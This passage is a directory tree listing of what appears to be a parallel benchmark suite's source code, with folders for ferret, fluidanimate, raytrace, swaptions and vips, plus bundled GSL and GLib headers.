SOLIDS_FLUIDS_DRIVER_3D.cpp │ │ │ │ ├── SOLIDS_FLUIDS_DRIVER_3D.h │ │ │ │ ├── SOLIDS_FLUIDS_EXAMPLE.h │ │ │ │ ├── SOLIDS_FLUIDS_EXAMPLE_3D.cpp │ │ │ │ ├── SOLIDS_FLUIDS_EXAMPLE_3D.h │ │ │ │ ├── SOLIDS_PARAMETERS.h │ │ │ │ ├── SOLIDS_PARAMETERS_3D.cpp │ │ │ │ └── SOLIDS_PARAMETERS_3D.h │ │ │ ├── Thread_Utilities │ │ │ │ ├── THREAD_ARRAY_LOCK.cpp │ │ │ │ ├── THREAD_ARRAY_LOCK.h │ │ │ │ ├── THREAD_CONDITION.h │ │ │ │ ├── THREAD_DIVISION_PARAMETERS.cpp │ │ │ │ ├── THREAD_DIVISION_PARAMETERS.h │ │ │ │ ├── THREAD_LOCK.h │ │ │ │ ├── THREAD_POOL.cpp │ │ │ │ ├── THREAD_POOL.h │ │ │ │ ├── THREAD_POOL_ALAMERE.cpp │ │ │ │ └── THREAD_POOL_SINGLE.cpp │ │ │ └── Utilities │ │ │ │ ├── ARG_DATA.h │ │ │ │ ├── DEBUG_UTILITIES.cpp │ │ │ │ ├── DEBUG_UTILITIES.h │ │ │ │ ├── LOG.cpp │ │ │ │ ├── LOG.h │ │ │ │ ├── LOG_ENTRY.cpp │ │ │ │ ├── LOG_ENTRY.h │ │ │ │ ├── LOG_SCOPE.h │ │ │ │ ├── PARSE_ARGS.cpp │ │ │ │ ├── PARSE_ARGS.h │ │ │ │ ├── STATIC_ASSERT.h │ │ │ │ ├── STRING_UTILITIES.cpp │ │ │ │ ├── STRING_UTILITIES.h │ │ │ │ ├── TIMER.cpp │ │ │ │ ├── TIMER.h │ │ │ │ └── TYPE_UTILITIES.h │ │ │ ├── QUASISTATICS_DRIVER.h │ │ │ ├── QUASISTATICS_EXAMPLE.h │ │ │ ├── QUASI_RIGID_TRANSFORM_3D.h │ │ │ ├── Storytelling │ │ │ └── STORYTELLING_EXAMPLE.h │ │ │ ├── TaskQ │ │ │ ├── include │ │ │ │ └── taskQ.h │ │ │ └── lib │ │ │ │ ├── Makefile │ │ │ │ ├── alamere.h │ │ │ │ ├── config.h │ │ │ │ ├── taskQDistCommon.c │ │ │ │ ├── taskQDistFixed.c │ │ │ │ ├── taskQDistFixed.h │ │ │ │ ├── taskQInternal.h │ │ │ │ └── taskQList.h │ │ │ └── main.cpp │ ├── ferret │ │ ├── Makefile │ │ └── src │ │ │ ├── LSH.c │ │ │ ├── LSH_query.c │ │ │ ├── LSH_query_batch.c │ │ │ ├── arena.c │ │ │ ├── assign.c │ │ │ ├── bench.c │ │ │ ├── bitmap.c │ │ │ ├── cass.c │ │ │ ├── cass_dist.c │ │ │ ├── cass_reg.c │ │ │ ├── chunk_cnt.inc │ │ │ ├── cuckoo_hash.c │ │ │ ├── dataset.c │ │ │ ├── dist.c │ │ │ ├── edge.c │ │ │ ├── emd.c │ │ │ ├── env.c │ │ │ ├── error.c │ │ │ ├── extract.c │ │ │ ├── ferret-pthreads.c │ │ │ ├── ferret-serial.c │ │ │ ├── hash.c │ │ │ ├── hash_table.c │ │ │ ├── heap.c │ │ │ ├── image.c │ │ │ ├── import.c │ │ │ ├── include │ │ │ ├── LSH.h │ │ │ ├── arena.h │ │ │ ├── cass.h │ │ │ ├── cass_array.h │ │ │ ├── cass_bench.h │ │ │ ├── cass_bitmap.h │ │ │ ├── cass_dist.h │ │ │ ├── cass_endian.h │ │ │ ├── cass_file.h │ │ │ ├── cass_hash.h │ │ │ ├── cass_heap.h │ │ │ ├── cass_matrix.h │ │ │ ├── cass_reg.h │ │ │ ├── cass_stat.h │ │ │ ├── cass_timer.h │ │ │ ├── cass_topk.h │ │ │ ├── cass_type.h │ │ │ ├── cuckoo_hash.h │ │ │ ├── dat.h │ │ │ ├── datalog.h │ │ │ ├── emd.h │ │ │ ├── gsl │ │ │ │ ├── gsl_blas.h │ │ │ │ ├── gsl_blas_types.h │ │ │ │ ├── gsl_block.h │ │ │ │ ├── gsl_block_char.h │ │ │ │ ├── gsl_block_complex_double.h │ │ │ │ ├── gsl_block_complex_float.h │ │ │ │ ├── gsl_block_complex_long_double.h │ │ │ │ ├── gsl_block_double.h │ │ │ │ ├── gsl_block_float.h │ │ │ │ ├── gsl_block_int.h │ │ │ │ ├── gsl_block_long.h │ │ │ │ ├── gsl_block_long_double.h │ │ │ │ ├── gsl_block_short.h │ │ │ │ ├── gsl_block_uchar.h │ │ │ │ ├── gsl_block_uint.h │ │ │ │ ├── gsl_block_ulong.h │ │ │ │ ├── gsl_block_ushort.h │ │ │ │ ├── gsl_bspline.h │ │ │ │ ├── gsl_cblas.h │ │ │ │ ├── gsl_cdf.h │ │ │ │ ├── gsl_chebyshev.h │ │ │ │ ├── gsl_check_range.h │ │ │ │ ├── gsl_combination.h │ │ │ │ ├── gsl_complex.h │ │ │ │ ├── gsl_complex_math.h │ │ │ │ ├── gsl_const.h │ │ │ │ ├── gsl_const_cgs.h │ │ │ │ ├── gsl_const_cgsm.h │ │ │ │ ├── gsl_const_mks.h │ │ │ │ ├── gsl_const_mksa.h │ │ │ │ ├── gsl_const_num.h │ │ │ │ ├── gsl_deriv.h │ │ │ │ ├── gsl_dft_complex.h │ │ │ │ ├── gsl_dft_complex_float.h │ │ │ │ ├── gsl_dht.h │ │ │ │ ├── gsl_diff.h │ │ │ │ ├── gsl_eigen.h │ │ │ │ ├── gsl_errno.h │ │ │ │ ├── gsl_fft.h │ │ │ │ ├── gsl_fft_complex.h │ │ │ │ ├── gsl_fft_complex_float.h │ │ │ │ ├── gsl_fft_halfcomplex.h │ │ │ │ ├── gsl_fft_halfcomplex_float.h │ │ │ │ ├── gsl_fft_real.h │ │ │ │ ├── gsl_fft_real_float.h │ │ │ │ ├── gsl_fit.h │ │ │ │ ├── gsl_heapsort.h │ │ │ │ ├── gsl_histogram.h │ │ │ │ ├── gsl_histogram2d.h │ │ │ │ ├── gsl_ieee_utils.h │ │ │ │ ├── gsl_integration.h │ │ │ │ ├── gsl_interp.h │ │ │ │ ├── gsl_linalg.h │ │ │ │ ├── gsl_machine.h │ │ │ │ ├── gsl_math.h │ │ │ │ ├── gsl_matrix.h │ │ │ │ ├── gsl_matrix_char.h │ │ │ │ ├── gsl_matrix_complex_double.h │ │ │ │ ├── gsl_matrix_complex_float.h │ │ │ │ ├── gsl_matrix_complex_long_double.h │ │ │ │ ├── gsl_matrix_double.h │ │ │ │ ├── gsl_matrix_float.h │ │ │ │ ├── gsl_matrix_int.h │ │ │ │ ├── gsl_matrix_long.h │ │ │ │ ├── gsl_matrix_long_double.h │ │ │ │ ├── gsl_matrix_short.h │ │ │ │ ├── gsl_matrix_uchar.h │ │ │ │ ├── gsl_matrix_uint.h │ │ │ │ ├── gsl_matrix_ulong.h │ │ │ │ ├── gsl_matrix_ushort.h │ │ │ │ ├── gsl_message.h │ │ │ │ ├── gsl_min.h │ │ │ │ ├── gsl_mode.h │ │ │ │ ├── gsl_monte.h │ │ │ │ ├── gsl_monte_miser.h │ │ │ │ ├── gsl_monte_plain.h │ │ │ │ ├── gsl_monte_vegas.h │ │ │ │ ├── gsl_multifit.h │ │ │ │ ├── gsl_multifit_nlin.h │ │ │ │ ├── gsl_multimin.h │ │ │ │ ├── gsl_multiroots.h │ │ │ │ ├── gsl_nan.h │ │ │ │ ├── gsl_ntuple.h │ │ │ │ ├── gsl_odeiv.h │ │ │ │ ├── gsl_permutation.h │ │ │ │ ├── gsl_permute.h │ │ │ │ ├── gsl_permute_char.h │ │ │ │ ├── gsl_permute_complex_double.h │ │ │ │ ├── gsl_permute_complex_float.h │ │ │ │ ├── gsl_permute_complex_long_double.h │ │ │ │ ├── gsl_permute_double.h │ │ │ │ ├── gsl_permute_float.h │ │ │ │ ├── gsl_permute_int.h │ │ │ │ ├── gsl_permute_long.h │ │ │ │ ├── gsl_permute_long_double.h │ │ │ │ ├── gsl_permute_short.h │ │ │ │ ├── gsl_permute_uchar.h │ │ │ │ ├── gsl_permute_uint.h │ │ │ │ ├── gsl_permute_ulong.h │ │ │ │ ├── gsl_permute_ushort.h │ │ │ │ ├── gsl_permute_vector.h │ │ │ │ ├── gsl_permute_vector_char.h │ │ │ │ ├── gsl_permute_vector_complex_double.h │ │ │ │ ├── gsl_permute_vector_complex_float.h │ │ │ │ ├── gsl_permute_vector_complex_long_double.h │ │ │ │ ├── gsl_permute_vector_double.h │ │ │ │ ├── gsl_permute_vector_float.h │ │ │ │ ├── gsl_permute_vector_int.h │ │ │ │ ├── gsl_permute_vector_long.h │ │ │ │ ├── gsl_permute_vector_long_double.h │ │ │ │ ├── gsl_permute_vector_short.h │ │ │ │ ├── gsl_permute_vector_uchar.h │ │ │ │ ├── gsl_permute_vector_uint.h │ │ │ │ ├── gsl_permute_vector_ulong.h │ │ │ │ ├── gsl_permute_vector_ushort.h │ │ │ │ ├── gsl_poly.h │ │ │ │ ├── gsl_pow_int.h │ │ │ │ ├── gsl_precision.h │ │ │ │ ├── gsl_qrng.h │ │ │ │ ├── gsl_randist.h │ │ │ │ ├── gsl_rng.h │ │ │ │ ├── gsl_roots.h │ │ │ │ ├── gsl_sf.h │ │ │ │ ├── gsl_sf_airy.h │ │ │ │ ├── gsl_sf_bessel.h │ │ │ │ ├── gsl_sf_clausen.h │ │ │ │ ├── gsl_sf_coulomb.h │ │ │ │ ├── gsl_sf_coupling.h │ │ │ │ ├── gsl_sf_dawson.h │ │ │ │ ├── gsl_sf_debye.h │ │ │ │ ├── gsl_sf_dilog.h │ │ │ │ ├── gsl_sf_elementary.h │ │ │ │ ├── gsl_sf_ellint.h │ │ │ │ ├── gsl_sf_elljac.h │ │ │ │ ├── gsl_sf_erf.h │ │ │ │ ├── gsl_sf_exp.h │ │ │ │ ├── gsl_sf_expint.h │ │ │ │ ├── gsl_sf_fermi_dirac.h │ │ │ │ ├── gsl_sf_gamma.h │ │ │ │ ├── gsl_sf_gegenbauer.h │ │ │ │ ├── gsl_sf_hyperg.h │ │ │ │ ├── gsl_sf_laguerre.h │ │ │ │ ├── gsl_sf_lambert.h │ │ │ │ ├── gsl_sf_legendre.h │ │ │ │ ├── gsl_sf_log.h │ │ │ │ ├── gsl_sf_mathieu.h │ │ │ │ ├── gsl_sf_pow_int.h │ │ │ │ ├── gsl_sf_psi.h │ │ │ │ ├── gsl_sf_result.h │ │ │ │ ├── gsl_sf_synchrotron.h │ │ │ │ ├── gsl_sf_transport.h │ │ │ │ ├── gsl_sf_trig.h │ │ │ │ ├── gsl_sf_zeta.h │ │ │ │ ├── gsl_siman.h │ │ │ │ ├── gsl_sort.h │ │ │ │ ├── gsl_sort_char.h │ │ │ │ ├── gsl_sort_double.h │ │ │ │ ├── gsl_sort_float.h │ │ │ │ ├── gsl_sort_int.h │ │ │ │ ├── gsl_sort_long.h │ │ │ │ ├── gsl_sort_long_double.h │ │ │ │ ├── gsl_sort_short.h │ │ │ │ ├── gsl_sort_uchar.h │ │ │ │ ├── gsl_sort_uint.h │ │ │ │ ├── gsl_sort_ulong.h │ │ │ │ ├── gsl_sort_ushort.h │ │ │ │ ├── gsl_sort_vector.h │ │ │ │ ├── gsl_sort_vector_char.h │ │ │ │ ├── gsl_sort_vector_double.h │ │ │ │ ├── gsl_sort_vector_float.h │ │ │ │ ├── gsl_sort_vector_int.h │ │ │ │ ├── gsl_sort_vector_long.h │ │ │ │ ├── gsl_sort_vector_long_double.h │ │ │ │ ├── gsl_sort_vector_short.h │ │ │ │ ├── gsl_sort_vector_uchar.h │ │ │ │ ├── gsl_sort_vector_uint.h │ │ │ │ ├── gsl_sort_vector_ulong.h │ │ │ │ ├── gsl_sort_vector_ushort.h │ │ │ │ ├── gsl_specfunc.h │ │ │ │ ├── gsl_spline.h │ │ │ │ ├── gsl_statistics.h │ │ │ │ ├── gsl_statistics_char.h │ │ │ │ ├── gsl_statistics_double.h │ │ │ │ ├── gsl_statistics_float.h │ │ │ │ ├── gsl_statistics_int.h │ │ │ │ ├── gsl_statistics_long.h │ │ │ │ ├── gsl_statistics_long_double.h │ │ │ │ ├── gsl_statistics_short.h │ │ │ │ ├── gsl_statistics_uchar.h │ │ │ │ ├── gsl_statistics_uint.h │ │ │ │ ├── gsl_statistics_ulong.h │ │ │ │ ├── gsl_statistics_ushort.h │ │ │ │ ├── gsl_sum.h │ │ │ │ ├── gsl_sys.h │ │ │ │ ├── gsl_test.h │ │ │ │ ├── gsl_types.h │ │ │ │ ├── gsl_vector.h │ │ │ │ ├── gsl_vector_char.h │ │ │ │ ├── gsl_vector_complex.h │ │ │ │ ├── gsl_vector_complex_double.h │ │ │ │ ├── gsl_vector_complex_float.h │ │ │ │ ├── gsl_vector_complex_long_double.h │ │ │ │ ├── gsl_vector_double.h │ │ │ │ ├── gsl_vector_float.h │ │ │ │ ├── gsl_vector_int.h │ │ │ │ ├── gsl_vector_long.h │ │ │ │ ├── gsl_vector_long_double.h │ │ │ │ ├── gsl_vector_short.h │ │ │ │ ├── gsl_vector_uchar.h │ │ │ │ ├── gsl_vector_uint.h │ │ │ │ ├── gsl_vector_ulong.h │ │ │ │ ├── gsl_vector_ushort.h │ │ │ │ ├── gsl_version.h │ │ │ │ ├── gsl_wavelet.h │ │ │ │ └── gsl_wavelet2d.h │ │ │ ├── hash_table.h │ │ │ ├── heap.h │ │ │ ├── image.h │ │ │ ├── jconfig.h │ │ │ ├── jerror.h │ │ │ ├── jmorecfg.h │ │ │ ├── jpeglib.h │ │ │ ├── local.h │ │ │ ├── lsh_pickpert.h │ │ │ ├── lsh_table.h │ │ │ ├── perturb.h │ │ │ ├── queue.h │ │ │ └── tpool.h │ │ │ ├── local.c │ │ │ ├── map.c │ │ │ ├── matrix.c │ │ │ ├── perturb.c │ │ │ ├── queue.c │ │ │ ├── raw.c │ │ │ ├── recall.c │ │ │ ├── srm.c │ │ │ ├── stat.c │ │ │ ├── table.c │ │ │ ├── timer.c │ │ │ ├── topk.c │ │ │ ├── tp.c │ │ │ ├── tpool.c │ │ │ └── util.c │ ├── fluidanimate │ │ ├── Makefile │ │ └── src │ │ │ ├── COPYRIGHT │ │ │ ├── cellpool.cpp │ │ │ ├── cellpool.hpp │ │ │ ├── fluid.hpp │ │ │ ├── fluidcmp.cpp │ │ │ ├── fluidview.cpp │ │ │ ├── fluidview.hpp │ │ │ ├── parsec_barrier.cpp │ │ │ ├── parsec_barrier.hpp │ │ │ ├── pthreads.cpp │ │ │ ├── serial.cpp │ │ │ └── tbb.cpp │ ├── parsec_common.mk │ ├── raytrace │ │ ├── Makefile │ │ └── src │ │ │ ├── LRT │ │ │ ├── CmdLine.hxx │ │ │ ├── FrameBuffer.cxx │ │ │ ├── FrameBuffer.hxx │ │ │ ├── FrameBuffer │ │ │ │ ├── GLTextureFB.cxx │ │ │ │ ├── GLTextureFB.hxx │ │ │ │ ├── MemoryFrameBuffer.hxx │ │ │ │ ├── PBOFrameBuffer.cxx │ │ │ │ ├── PBOFrameBuffer.hxx │ │ │ │ └── TiledFrameBuffer.hxx │ │ │ ├── Init.cxx │ │ │ ├── Makefile │ │ │ ├── RenderToTexture.cxx │ │ │ ├── include │ │ │ │ └── lrt.h │ │ │ └── render.cxx │ │ │ ├── MiniView │ │ │ ├── Camera.hxx │ │ │ ├── ImagePPM.hxx │ │ │ ├── Makefile │ │ │ ├── ObjParser.hxx │ │ │ └── rtview.cxx │ │ │ ├── RTTL │ │ │ ├── API │ │ │ │ ├── ISG.cxx │ │ │ │ ├── ISG.hxx │ │ │ │ └── rt.h │ │ │ ├── BVH │ │ │ │ ├── BVH.cxx │ │ │ │ ├── BVH.hxx │ │ │ │ └── Builder │ │ │ │ │ ├── BinnedAllDims.cxx │ │ │ │ │ ├── BinnedAllDims.hxx │ │ │ │ │ ├── BinnedAllDimsSaveSpace.cxx │ │ │ │ │ ├── BinnedAllDimsSaveSpace.hxx │ │ │ │ │ ├── Builder.cxx │ │ │ │ │ ├── Builder.hxx │ │ │ │ │ ├── OnDemandBuilder.cxx │ │ │ │ │ ├── OnDemandBuilder.hxx │ │ │ │ │ ├── Sweep.cxx │ │ │ │ │ └── Sweep.hxx │ │ │ ├── Grid │ │ │ │ └── Grid.hxx │ │ │ ├── Makefile │ │ │ ├── Mesh │ │ │ │ └── Mesh.hxx │ │ │ ├── Texture │ │ │ │ └── Texture.hxx │ │ │ ├── Triangle │ │ │ │ └── Triangle.hxx │ │ │ └── common │ │ │ │ ├── MapOptions.cxx │ │ │ │ ├── MapOptions.hxx │ │ │ │ ├── RTBox.hxx │ │ │ │ ├── RTData.hxx │ │ │ │ ├── RTDataAligned.hxx │ │ │ │ ├── RTEmulatedSSE.hxx │ │ │ │ ├── RTInclude.hxx │ │ │ │ ├── RTIntervalArith.hxx │ │ │ │ ├── RTMatrix.hxx │ │ │ │ ├── RTRay.hxx │ │ │ │ ├── RTSSE.hxx │ │ │ │ ├── RTSSEAliases.hxx │ │ │ │ ├── RTShader.hxx │ │ │ │ ├── RTThread.cxx │ │ │ │ ├── RTThread.hxx │ │ │ │ ├── RTVec.hxx │ │ │ │ ├── RTVecBody.h │ │ │ │ ├── RTcoutRedirect.hxx │ │ │ │ ├── Timer.hxx │ │ │ │ ├── atomic │ │ │ │ ├── alpha │ │ │ │ │ └── atomic.h │ │ │ │ ├── amd64 │ │ │ │ │ └── atomic.h │ │ │ │ ├── atomic.h │ │ │ │ ├── i386 │ │ │ │ │ └── atomic.h │ │ │ │ ├── ia64 │ │ │ │ │ └── atomic.h │ │ │ │ ├── powerpc │ │ │ │ │ └── atomic.h │ │ │ │ └── sparc │ │ │ │ │ ├── asi.h │ │ │ │ │ ├── atomic.h │ │ │ │ │ └── cpufunc.h │ │ │ │ ├── cmake_autoconfig.h │ │ │ │ ├── cmake_autoconfig_template.h │ │ │ │ └── non_cmake_config.h │ │ │ └── subdirs_common.mk │ ├── streamcluster │ │ ├── Makefile │ │ └── src │ │ │ ├── streamcluster.cpp │ │ │ └── streamcluster_modified.cpp │ ├── swaptions │ │ ├── Makefile │ │ └── src │ │ │ ├── CumNormalInv.cpp │ │ │ ├── HJM.cpp │ │ │ ├── HJM.h │ │ │ ├── HJM_Securities.cpp │ │ │ ├── HJM_Securities.h │ │ │ ├── HJM_SimPath_Forward_Blocking.cpp │ │ │ ├── HJM_Swaption_Blocking.cpp │ │ │ ├── HJM_type.h │ │ │ ├── MaxFunction.cpp │ │ │ ├── RanUnif.cpp │ │ │ ├── icdf.cpp │ │ │ ├── nr_routines.cpp │ │ │ ├── nr_routines.h │ │ │ └── resource.h │ ├── vips │ │ ├── Makefile │ │ └── src │ │ │ ├── arithmetic │ │ │ ├── Makefile │ │ │ ├── arith_dispatch.c │ │ │ ├── im_abs.c │ │ │ ├── im_add.c │ │ │ ├── im_avg.c │ │ │ ├── im_bandmean.c │ │ │ ├── im_cross_phase.c │ │ │ ├── im_deviate.c │ │ │ ├── im_divide.c │ │ │ ├── im_invert.c │ │ │ ├── im_linreg.c │ │ │ ├── im_lintra.c │ │ │ ├── im_maxpos.c │ │ │ ├── im_maxpos_avg.c │ │ │ ├── im_maxpos_vec.c │ │ │ ├── im_measure.c │ │ │ ├── im_minpos.c │ │ │ ├── im_multiply.c │ │ │ ├── im_point_bilinear.c │ │ │ ├── im_recomb.c │ │ │ ├── im_remainder.c │ │ │ ├── im_sign.c │ │ │ ├── im_stats.c │ │ │ ├── im_subtract.c │ │ │ ├── math.c │ │ │ ├── power.c │ │ │ └── round.c │ │ │ ├── bool_dispatch.c │ │ │ ├── boolean.c │ │ │ ├── cimg │ │ │ ├── CImg.h │ │ │ ├── Makefile │ │ │ ├── cimg.cpp │ │ │ └── cimg_dispatch.c │ │ │ ├── colour │ │ │ ├── Makefile │ │ │ ├── colour.c │ │ │ ├── colour_dispatch.c │ │ │ ├── derived.c │ │ │ ├── disp.c │ │ │ ├── im_LCh2Lab.c │ │ │ ├── im_LCh2UCS.c │ │ │ ├── im_Lab2LCh.c │ │ │ ├── im_Lab2LabQ.c │ │ │ ├── im_Lab2LabS.c │ │ │ ├── im_Lab2XYZ.c │ │ │ ├── im_LabQ2Lab.c │ │ │ ├── im_LabQ2LabS.c │ │ │ ├── im_LabQ2disp.c │ │ │ ├── im_LabS2Lab.c │ │ │ ├── im_LabS2LabQ.c │ │ │ ├── im_UCS2LCh.c │ │ │ ├── im_XYZ2Lab.c │ │ │ ├── im_XYZ2Yxy.c │ │ │ ├── im_XYZ2disp.c │ │ │ ├── im_Yxy2XYZ.c │ │ │ ├── im_dE00_fromLab.c │ │ │ ├── im_dECMC_fromLab.c │ │ │ ├── im_dE_fromLab.c │ │ │ ├── im_disp2XYZ.c │ │ │ ├── im_float2rad.c │ │ │ ├── im_icc_transform.c │ │ │ ├── im_lab_morph.c │ │ │ └── im_rad2float.c │ │ │ ├── conversion │ │ │ ├── Makefile │ │ │ ├── conver_dispatch.c │ │ │ ├── im_black.c │ │ │ ├── im_c2amph.c │ │ │ ├── im_c2imag.c │ │ │ ├── im_c2real.c │ │ │ ├── im_c2rect.c │ │ │ ├── im_clip2fmt.c │ │ │ ├── im_copy.c │ │ │ ├── im_copy_file.c │ │ │ ├── im_embed.c │ │ │ ├── im_extract.c │ │ │ ├── im_falsecolour.c │ │ │ ├── im_fliphor.c │ │ │ ├── im_flipver.c │ │ │ ├── im_gaussnoise.c │ │ │ ├── im_gbandjoin.c │ │ │ ├── im_grid.c │ │ │ ├── im_insert.c │ │ │ ├── im_lrjoin.c │ │ │ ├── im_mask2vips.c │ │ │ ├── im_msb.c │ │ │ ├── im_replicate.c │ │ │ ├── im_ri2c.c │ │ │ ├── im_rot180.c │ │ │ ├── im_rot270.c │ │ │ ├── im_rot90.c │ │ │ ├── im_scale.c │ │ │ ├── im_scaleps.c │ │ │ ├── im_subsample.c │ │ │ ├── im_system.c │ │ │ ├── im_system_image.c │ │ │ ├── im_tbjoin.c │ │ │ ├── im_text.c │ │ │ ├── im_vips2mask.c │ │ │ ├── im_wrap.c │ │ │ └── im_zoom.c │ │ │ ├── convolution │ │ │ ├── Makefile │ │ │ ├── convol_dispatch.c │ │ │ ├── im_addgnoise.c │ │ │ ├── im_compass.c │ │ │ ├── im_contrast_surface.c │ │ │ ├── im_conv.c │ │ │ ├── im_conv_f.c │ │ │ ├── im_convsep.c │ │ │ ├── im_convsep_f.c │ │ │ ├── im_fastcor.c │ │ │ ├── im_gradcor.c │ │ │ ├── im_sharpen.c │ │ │ └── im_spcor.c │ │ │ ├── deprecated │ │ │ ├── Makefile │ │ │ ├── deprecated_dispatch.c │ │ │ ├── im_bernd.c │ │ │ ├── im_cmulnorm.c │ │ │ ├── im_convsub.c │ │ │ ├── im_debugim.c │ │ │ ├── im_fav4.c │ │ │ ├── im_gadd.c │ │ │ ├── im_gaddim.c │ │ │ ├── im_gfadd.c │ │ │ ├── im_line.c │ │ │ ├── im_litecor.c │ │ │ ├── im_print.c │ │ │ ├── im_printlines.c │ │ │ ├── im_resize_linear.c │ │ │ ├── im_setbox.c │ │ │ ├── im_slice.c │ │ │ ├── im_thresh.c │ │ │ └── rename.c │ │ │ ├── dummy.c │ │ │ ├── format │ │ │ ├── Makefile │ │ │ ├── dbh.h │ │ │ ├── format.c │ │ │ ├── format_dispatch.c │ │ │ ├── im_analyze2vips.c │ │ │ ├── im_csv2vips.c │ │ │ ├── im_exr2vips.c │ │ │ ├── im_jpeg2vips.c │ │ │ ├── im_magick2vips.c │ │ │ ├── im_png2vips.c │ │ │ ├── im_ppm2vips.c │ │ │ ├── im_raw2vips.c │ │ │ ├── im_tiff2vips.c │ │ │ ├── im_tile_cache.c │ │ │ ├── im_vips2csv.c │ │ │ ├── im_vips2jpeg.c │ │ │ ├── im_vips2png.c │ │ │ ├── im_vips2ppm.c │ │ │ ├── im_vips2raw.c │ │ │ ├── im_vips2tiff.c │ │ │ ├── matlab.c │ │ │ └── radiance.c │ │ │ ├── freq_filt │ │ │ ├── Makefile │ │ │ ├── fft_sp.c │ │ │ ├── fmask4th.c │ │ │ ├── fmaskcir.c │ │ │ ├── freq_dispatch.c │ │ │ ├── im_disp_ps.c │ │ │ ├── im_fractsurf.c │ │ │ ├── im_freq_mask.c │ │ │ ├── im_freqflt.c │ │ │ ├── im_fwfft.c │ │ │ ├── im_invfft.c │ │ │ ├── im_invfftr.c │ │ │ ├── im_phasecor_fft.c │ │ │ └── im_rotquad.c │ │ │ ├── histograms_lut │ │ │ ├── Makefile │ │ │ ├── hist_dispatch.c │ │ │ ├── im_buildlut.c │ │ │ ├── im_gammacorrect.c │ │ │ ├── im_heq.c │ │ │ ├── im_hist.c │ │ │ ├── im_histeq.c │ │ │ ├── im_histgr.c │ │ │ ├── im_histindexed.c │ │ │ ├── im_histnD.c │ │ │ ├── im_histplot.c │ │ │ ├── im_histspec.c │ │ │ ├── im_hsp.c │ │ │ ├── im_identity.c │ │ │ ├── im_invertlut.c │ │ │ ├── im_lhisteq.c │ │ │ ├── im_maplut.c │ │ │ ├── im_mpercent.c │ │ │ ├── im_project.c │ │ │ ├── im_stdif.c │ │ │ └── tone.c │ │ │ ├── im_clamp.c │ │ │ ├── include │ │ │ ├── Makefile │ │ │ ├── README.md │ │ │ ├── config.h │ │ │ ├── gio │ │ │ │ ├── gappinfo.h │ │ │ │ ├── gasyncinitable.h │ │ │ │ ├── gasyncresult.h │ │ │ │ ├── gbufferedinputstream.h │ │ │ │ ├── gbufferedoutputstream.h │ │ │ │ ├── gcancellable.h │ │ │ │ ├── gcharsetconverter.h │ │ │ │ ├── gcontenttype.h │ │ │ │ ├── gconverter.h │ │ │ │ ├── gconverterinputstream.h │ │ │ │ ├── gconverteroutputstream.h │ │ │ │ ├── gdatainputstream.h │ │ │ │ ├── gdataoutputstream.h │ │ │ │ ├── gdrive.h │ │ │ │ ├── gemblem.h │ │ │ │ ├── gemblemedicon.h │ │ │ │ ├── gfile.h │ │ │ │ ├── gfileattribute.h │ │ │ │ ├── gfileenumerator.h │ │ │ │ ├── gfileicon.h │ │ │ │ ├── gfileinfo.h │ │ │ │ ├── gfileinputstream.h │ │ │ │ ├── gfileiostream.h │ │ │ │ ├── gfilemonitor.h │ │ │ │ ├── gfilenamecompleter.h │ │ │ │ ├── gfileoutputstream.h │ │ │ │ ├── gfilterinputstream.h │ │ │ │ ├── gfilteroutputstream.h │ │ │ │ ├── gicon.h │ │ │ │ ├── ginetaddress.h │ │ │ │ ├── ginetsocketaddress.h │ │ │ │ ├── ginitable.h │ │ │ │ ├── ginputstream.h │ │ │ │ ├── gio.h │ │ │ │ ├── gioenums.h │ │ │ │ ├── gioenumtypes.h │ │ │ │ ├── gioerror.h │ │ │ │ ├── giomodule.h │ │ │ │ ├── gioscheduler.h │ │ │ │ ├── giostream.h │ │ │ │ ├── giotypes.h │ │ │ │ ├── gloadableicon.h │ │ │ │ ├── gmemoryinputstream.h │ │ │ │ ├── gmemoryoutputstream.h │ │ │ │ ├── gmount.h │ │ │ │ ├── gmountoperation.h │ │ │ │ ├── gnativevolumemonitor.h │ │ │ │ ├── gnetworkaddress.h │ │ │ │ ├── gnetworkservice.h │ │ │ │ ├── goutputstream.h │ │ │ │ ├── gresolver.h │ │ │ │ ├── gseekable.h │ │ │ │ ├── gsimpleasyncresult.h │ │ │ │ ├── gsocket.h │ │ │ │ ├── gsocketaddress.h │ │ │ │ ├── gsocketaddressenumerator.h │ │ │ │ ├── gsocketclient.h │ │ │ │ ├── gsocketconnectable.h │ │ │ │ ├── gsocketconnection.h │ │ │ │ ├── gsocketcontrolmessage.h │ │ │ │ ├── gsocketlistener.h │ │ │ │ ├── gsocketservice.h │ │ │ │ ├── gsrvtarget.h │ │ │ │ ├── gtcpconnection.h │ │ │ │ ├── gthemedicon.h │ │ │ │ ├── gthreadedsocketservice.h │ │ │ │ ├── gvfs.h │ │ │ │ ├── gvolume.h │ │ │ │ ├── gvolumemonitor.h │ │ │ │ ├── gzlibcompressor.h │ │ │ │ └── gzlibdecompressor.h │ │ │ ├── glib-object.h │ │ │ ├── glib.h │ │ │ ├── glib │ │ │ │ ├── galloca.h │ │ │ │ ├── garray.h │ │ │ │ ├── gasyncqueue.h │ │ │ │ ├── gatomic.h │ │ │ │ ├── gbacktrace.h │ │ │ │ ├── gbase64.h │ │ │ │ ├── gbitlock.h │ │ │ │ ├── gbookmarkfile.h │ │ │ │ ├── gcache.h │ │ │ │ ├── gchecksum.h │ │ │ │ ├── gcompletion.h │ │ │ │ ├── gconvert.h │ │ │ │ ├── gdataset.h │ │ │ │ ├── gdate.h │ │ │ │ ├── gdir.h │ │ │ │ ├── gerror.h │ │ │ │ ├── gfileutils.h │ │ │ │ ├── ghash.h │ │ │ │ ├── ghook.h │ │ │ │ ├── ghostutils.h │ │ │ │ ├── gi18n-lib.h │ │ │ │ ├── gi18n.h │ │ │ │ ├── giochannel.h │ │ │ │ ├── gkeyfile.h │ │ │ │ ├── glist.h │ │ │ │ ├── gmacros.h │ │ │ │ ├── gmain.h │ │ │ │ ├── gmappedfile.h │ │ │ │ ├── gmarkup.h │ │ │ │ ├── gmem.h │ │ │ │ ├── gmessages.h │ │ │ │ ├── gnode.h │ │ │ │ ├── goption.h │ │ │ │ ├── gpattern.h │ │ │ │ ├── gpoll.h │ │ │ │ ├── gprimes.h │ │ │ │ ├── gprintf.h │ │ │ │ ├── gqsort.h │ │ │ │ ├── gquark.h │ │ │ │ ├── gqueue.h │ │ │ │ ├── grand.h │ │ │ │ ├── gregex.h │ │ │ │ ├── grel.h │ │ │ │ ├── gscanner.h │ │ │ │ ├── gsequence.h │ │ │ │ ├── gshell.h │ │ │ │ ├── gslice.h │ │ │ │ ├── gslist.h │ │ │ │ 